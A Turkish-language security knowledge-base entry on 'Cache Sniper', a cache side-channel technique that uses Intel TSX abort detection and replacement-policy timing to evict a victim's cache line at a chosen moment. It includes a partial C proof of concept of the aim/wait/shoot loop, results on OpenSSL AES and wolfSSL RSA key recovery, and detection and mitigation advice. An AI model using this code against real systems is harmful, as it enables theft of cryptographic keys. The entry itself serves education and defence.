Cache Sniper (timed eviction control)¶
Bir victim'den bir hedef cache line'ı, onun çalışması sırasında tam bir anda evict et: victim operasyonunun başlangıcını tespit etmek için Intel TSX'i ve eviction'ı timing'lemek için bilinen replacement policy'yi kullan — böylece kaba cache attack'ları cerrahi hassasiyete dönüştür.
Mechanism¶
Note
Geleneksel cache attack'lar (Prime+Probe, Flush+Reload) bir line'a bir victim operasyonu boyunca access edilip edilmediğini gözler; explicit bir senkronizasyon olmadan o operasyon içinde seçilmiş bir anda belirli bir line'ı güvenilir şekilde evict edemezler. Cache Sniper bu timing'i sağlar. İki değişmez nokta üzerine kuruludur. Birincisi, Intel TSX transaction'ları izlenen bir line'a dokunulduğunda abort olur — victim'in data'sının etrafına bir read-set sarmak, attacker'a victim operasyonunun tam başlangıcını tespit etme imkânı verir (victim ona access ettiği an bir abort tetiklenir). İkincisi, cache replacement policy deterministik ve reverse-engineer edilmiştir ve — kritik olarak — bir TSX bölgesinin içinde yapılan cache-state değişiklikleri, transaction abort olsa bile persist eder. Bunları birleştirerek attacker klasik aim (abort üzerinden operasyon başlangıcını tespit et), wait (bilinen sayıda cycle dön) ve shoot (hedef line'ı tam o anda evict et) dizisini gerçekleştirir; böylece bir line'ın cache'ten ne zaman ayrıldığını victim'in ilerleyişine göre kontrol eder.
Walkthrough¶
#include <immintrin.h> // TSX: _xbegin/_xend/_xabort
// AIM: a TSX region with the victim's line in its read-set aborts the moment
// the victim touches it -> precise detection of operation start.
int aim_until_victim_touches(volatile char *victim_line) {
unsigned status;
while (1) {
if ((status = _xbegin()) == _XBEGIN_STARTED) {
(void)*victim_line; // add to transactional read-set
for (;;) cpu_relax(); // stay in TX until victim aborts us
_xend();
}
if (status & _XABORT_CONFLICT) // conflict abort == victim accessed it
return 1; // start detected
}
}
void snipe(volatile char *victim_line, char *evset, long wait_cycles) {
aim_until_victim_touches(victim_line); // AIM
busy_wait_cycles(wait_cycles); // WAIT a precise offset
access_eviction_set(evset); // SHOOT: evict the target line now
}
Transaction içi cache değişikliklerinin abort'a rağmen persist etmesi, eviction'ın seçilen anda "yapışmasını" (stick) sağlayan şeydir.
Expected results (Briongos et al.)
Sync: TSX conflict-abort detects exact victim operation start
Control: aim / wait / shoot -> evict a chosen line at a chosen cycle
Needs: no special privilege, no explicit attacker<->victim sync
Targets: OpenSSL AES S-box key recovery; wolfSSL RSA exponent bits,
both previously considered cache-attack-resistant
Detection¶
Victim crypto operasyonlarıyla korele olan yüksek TSX abort oranlarını izle; transactional abort'lar ve eviction-set traversal'ları üzerinde performance counter'lar.
Mitigation¶
TSX'i devre dışı bırak (microcode / OS); secret'a bağlı line access'leri tümüyle ortadan kaldıran constant-time, cache-oblivious crypto; cache partitioning; scatter-gather / data-independent table access (gerçi sınırları için CacheBleed'e bak).